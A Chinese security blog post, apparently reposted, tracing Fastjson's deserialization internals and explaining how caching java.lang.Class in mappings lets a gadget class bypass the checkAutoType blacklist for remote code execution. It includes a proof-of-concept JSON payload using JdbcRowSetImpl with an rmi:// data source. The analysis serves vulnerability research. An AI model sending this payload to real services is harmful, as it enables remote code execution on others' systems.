Fastjson 流程分析及 RCE 分析

作者:Lucifaer

博客:https://www.lucifaer.com/

  • 其实最近爆出的这个rce在去年的时候就有更新,poc在github的fastjson/commit/be41b36a8d748067ba4debf12bf236388e500c66">commit记录中也有所体现,之前已经有很多非常好的分析文章对整个漏洞进行了详尽的分析,我这里只记录一下自己的跟踪过程,以及在跟踪时所思考的一些问题。

0x01 Fastjson化流程简述

廖大2017年的一篇博文中就对Fastjson的反序列化流程进行了总结:

img

在具体的跟进中也可以很清晰的看到如图所示的架构。

对于编程人员来说,只需要考虑Fastjson所提供的几个静态方法即可,如:

  • JSON.toJSONString()
  • JSON.parse()
  • JSON.parseObject()

并不需要关注json序列化及反序列化的过程。深入Fastjson框架,可以看到其主要的功能都是在DefaultJSONParser类中实现的,在这个类中会应用其他的一些外部类来完成后续操作。ParserConfig主要是进行配置信息的初始化,JSONLexer主要是对json字符串进行处理并分析,反序列化在JavaBeanDeserializer中处理。

在真实的调试过程中会遇到一些非常好玩的问题,而在其它文章中并没有对这些进行完整的叙述,我这里结合自己的理解来说一说。以下的调试的例子的demo为:

img

jsonString即为poc的内容:

  {"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://asdfasfd/","autoCommit":true}},age:11}

poc(或者不如说是对于传入的json字符串)的处理过程简单来说分为这几部分:

  1. DefaultJSONParser的初始化

  2. 这一步是parseObject()是否指定了第二个参数,也就是是否指定了clazz字段:

    • 如果指定了clazz字段,则首先根据clazz类型来获取相应deserializer,如果不是initDeserializers中的类的话,则会调用JavaBeanDeserializer#deserialze转交FastjsonASMDeserializer利用Fastjson自己实现的ASM流程生成处理类,调用相应的类并将处理流程转交到相应的处理类处理json字符串内容。(这里的描述有一些些问题,后面会尽量相近的描述一下)
    • 如果未指定,则直接交给StringCodec类来处理json字符串。

  3. 最终都转交由DefaultJSONParser#parse中根据lexer.token来选择处理方式,这里的例子中都为12也就是{(因为要处理json字符串需要一个起始标志位,所以判断当前json字符串的token是很重要的),接下来就是对json字符串进行处理(这里是一个循环处理,摘取类似"name":"123"这样的关系)。

  4. 判断解析的json字符串中是否存在symbolTable中的字段(如@type$ref这样的字段),如果出现了@type则交由public final Object parseObject(final Map object, Object fieldName)来处理,然后重复步骤2的过程知道执行成功或报错。

1.1 DefaultJSONParser的初始化过程

初始化过程非常的简单,分两部分,一部分为ParserConfig的初始化,另外一部分为DefaultJSONParser的初始化。

ParserConfig的初始化是在com.alibaba.fastjson.JSON中调用的:

img

一路跟到ParserConfig#ParserConfig方法中:

img

前面指定了asm的工厂类,并进行了实例化,后面是初始化deserializers,将用户自定义黑白名单加入到原有的黑白名单中。

DefaultJSONParser的初始化是在com.alibaba.fastjson.JSON#parseObject中调用并完成的:

img

这里初始化了DefaultJSONParser之后调用了其parseObject方法进行后续的操作。

跟进DefaultJSONParser可以看到JSONScanner的实例化以及lexer.token的初始化设置:

img

1.2 获取对应的derializer

进入到这里步就稍微有点复杂了,需要仔细跟进一下。根据上一节我们可以看到完成初始化操作后主要的处理流程集中于T value = (T) parser.parseObject(clazz, null);这一步的操作中,跟进看一下具体流程:

img

简单来说就是一个根据type获取对应的derializer并且调用derializer.deserialze进行处理的过程,这里的config是之前初始化的ParserConfig。这里要注意的是type这个参数,跟踪了整个流程后会发现,如果在写代码时指定了第二个参数如Group group = JSON.parseObject(jsonString, Group.class);则第二个参数也就是Group.class即为type如果未指定第二个参数的话将会获取第一个参数的类型作为type,当未指定第二个参数的时候将会调用与第一个参数类型相符的方法来处理:

img

了解了这些后,就可以跟进看一下getDeserializer的实现了:

img

首先会尝试在deserializers中匹配type的类型,如果匹配到了就返回匹配的derializer,否则就判断是否是Class泛型的接口,如果是则调用getDeserializer((Class<?>) type, type)继续处理,这一部分代码很长,我只截最关键的一个地方:

img

当类不显式匹配上面的情况时,就会调用createJavaBeanDeserializer来创建一个新的derializer,并将其加入到deserializers这个map中。接下来跟进createJavaBeanDeserializer的处理流程,我截取了关键的一部分:

img

在这里首先会根据类名和propertyNamingStrategy生成beanInfo,之后利用asm工厂类的createJavaBeanDeserializer生成处理类:

img

写过asm的应该可以一眼看出这里是用asm来生成处理类,分别生成构造函数,deserialze方法和deserialzeArrayMapping方法。我们来看一下asm生成的类是什么样的。这里由于代码很多我只截取一些关键的地方:

img

img

至此便完成了利用asm生成处理类的过程了。

1.3 处理类的处理流程

上一节中我们已经动态生成了FastjsonASMDeserializer_1_Group这个处理类,那么现在可以继续向下跟进,看看后续的处理流程是怎么样的。

首先,跟进一下构造函数:

img

这里利用createFieldDeserializertype类中的变量等信息转换为FieldDeserializer类型,并存储到sortedFieldDeserializers这个数组中,这里可以记一下这个数组的名字,后面会用到:

img

在完成构造函数后,根据上文的跟踪,就会调用asm生成的处理类中的deserialze方法,由于我这里是把生成的bytecode抓下来写成文件来看的,所以很多东西看的不是很清晰,但是整段处理的关键点在于最后的return:

img

其中的各个参数为:

img

img

跟进parseRest来看一下:

img

这里直接调用了JavaBeanDeserializer#deserialze。这里我截取几处比较关键的代码:

img

这里需要注意的有两个变量:beanInfosortedFieldDeserializers,这两个变量的生成过程上文都有提及,根据这两个变量的值,我们能很好的理解JavaBeanDeserializer#deserialze这部分的代码,这里会遍历整个sortedFieldDeserializers中所有的key,并尝试根据类型来提取jsonstring中相应的信息,如果成功则转交给asm生成的处理类的createInstance实例化对象,如果不成功则扫描jsonstring中是否具有特殊的指令集,如果有,则尝试解析指令集否则就报错。下面具体看一下处理的流程:

img

如果失败则尝试解析指令集:

img

可以看到这里会尝试解析$ref@type,如果匹配到了@type且其内容为string,则尝试利用lexer.stringVal()通过字符串截取来获取其内容:

img

但是由于我们发送的jsonstring中是没有与sortedFieldDeserializers所对应的键名的,所以这里仍无法匹配到。因为没有办法找到与设定的type相符的键,这个时候获取到的内容为空,fastjson会将当前这个字段判断为一个键值,根据当前符号的下一个符号来判断这个键所对应的值是什么类型,如果是{则这个键所对应的值也是一个key-value的格式,如果是"则为具体的值。在当前例子中,我们知道下一个字段应为{,fastjson在处理时会再次调用parseObject来处理这个新的键值对格式,下面便是如何将处理流程转交parserObject进行二次处理的过程。这里需要用到FieldDeserializers来进行解析了:

img

跟进parseField中,关键的处理流程为:

img

继续跟进:

img

这里首先通过fieldInfo.fieldClassfieldInfo.fieldType来获取fieldValueDeserilizer由于这里对应的jsonstring是string类型,则这里最后获取到的fieldValueDeserilizerStringCodec。所以接下来就是跟进StringCodec#deserialze中:

img

传入的clazz应为String类型,而非StringBuffer或StringBuilder,所以继续跟进deserialze

img

最终调用DefaultJSONParser#parse解析jsonstring:

img

现在解析的位置应为{所对应的的token,所以应为12,也就是LBRACE,这里将调用parseObject来对jsonstring进行解析,我这里截取关键部分:

img

在这段代码的前面都是lexer对jsonstring的截取和处理操作,当检测到jsonstring中含有以@type为键名的字段后,获取其值,将值传入checkAutoType中做长度检测以及黑白名单的检测:

img

如果通过的话,则调用config.getDeserializer获取clazz的类:

img

根据jsonstring中的val字段来获取obj的值:

img

img

这里将objVal的名称以字符串的形式赋值给strVal。后面会根据clazz的类型将处理流程转交给不同的流程这里由于指定了java.lang.class所以是转交到TypeUtils.loadClass来处理的:

img

img

前面将对传入的className进行解析,如果符合相应格式就会进行相应的解析(这里也是之前漏洞所在地),而后面的则会判断cache是否为true,如果为真则将实例化后的类加入到mappings中(这也是这次漏洞的核心),最终都将把实例化后的类进行返回。

0x02 Fastjson gadget流程

其实在前文都有涉及,在这里将化繁为简,总结一下关键点在哪几个地方。

2.1 jsonstring解析简述

纵观整个Fastjson的处理流程,可以注意到对jsonstring的核心处理流程是在DefaultJSONParser#parse(Object fieldName)中根据jsonstring的标志位来进行分发的,常见有两种情况:

  # 正常的kv结构

{"k":"v"}

# 嵌套结构

{"k":{"kk":"vv","kk":"vv"},"k":{"k":"kk","kk":"vv","kk":"vv"}},k:v}

而Fastjson的解析方式会首先判断当前标志位是什么,这里拿完整的解析过程来举个例子:

最开始解析的标志位为{

  1. 判断下一个标志位是否为",如果是"则提取key值,这时的标志位为"

  2. 判断下一个标志位是否为:

    • 如果为:则判断下一个标志位是否为",如果是,则获取value值,这时的标志位为"
    • 如果为{则重复1、2的过程。

  3. 判断下一个标志位是否为}

    • 如果为}则表示这一个单元的解析结束
    • 如果为,则表示要解析下一个kv的数据,重复1、2、3

根据不同的标志位进行不同的解析。当解析的过程中碰到了@type$ref时,将当做特殊的标志做相应的处理。

2.2 checkAutoType黑名单检测

当解析过程中找到了@type这个关键的标志时,将提取其所对应的值,并检测这个值是否在黑名单中:

img

img

先过黑名单再过白名单,这样保证了@type所引用的类是较为安全的。

2.3 deserialze流程

jsonstring经过解析且经过安全性验证后,最终都要变成相应的对象,而变成对象的过程就是利用反射完成的,这个过程就是反序列化的过程。而该过程主要在DefaultJSONParser#parseObject中调用deserializer.deserialze()完成:

img

这里会根据@type所指定的类来获取或生成反序列化类,完成反序列化过程,这里如果是在预定数组中的类的话就可以直接调用相关类的deserialze方法完成反序列化操作:

img

如果没有则会进入asm创建处理类的流程。

2.4 gadget执行的关键——反射调用

在具体进行反射前还有一个操作,将会解析看jsonstring中是否存在val字段,如果有,则将其提取出来赋给objVal,并将objVal的类名赋值给strVal

img

img

之后根据clazz类型交由不同的流程来处理:

img

clazz是一个class类型时,就会进入TypeUtils.loadClass中根据strVal进行类调用:

img

这里有两个点需要注意,而这两个点就是造成Fastjson两个rce的关键点。

  • 第一个点会对传入的@type的值进行解析,如果符合相应的格式则直接进行类加载。

  • 第二个点首先会反射调用@type的值所设置的类,然后将其加入到mappings中,当后面再次经过checkAutoType时,将会调用:

    img

将首先从mappings中获取和typeName相同的类,也就是说这里在进行黑名单检测前就已经返回了类,从而绕过了黑名单。

0x03 总结

就目前来说,针对Fastjson的攻防集中于对于@type的检测的利用以及黑名单的绕过这两部分。而从整体的运行逻辑上来看,由于Fastjson很多地方写的比较死,很难出现重新调用构造方法覆盖黑名单或者覆盖mapping的操作,所以就现在最新版的Fastjson而言是比较难以绕过防护措施的。

未来可以参考struts2 ognl的攻防手法,看是否能从置空黑名单或者操作mappings来尝试绕过防护。

0x04 Reference

以上是 Fastjson 流程分析及 RCE 分析 的全部内容, 来源链接: utcz.com/p/199392.html

回到顶部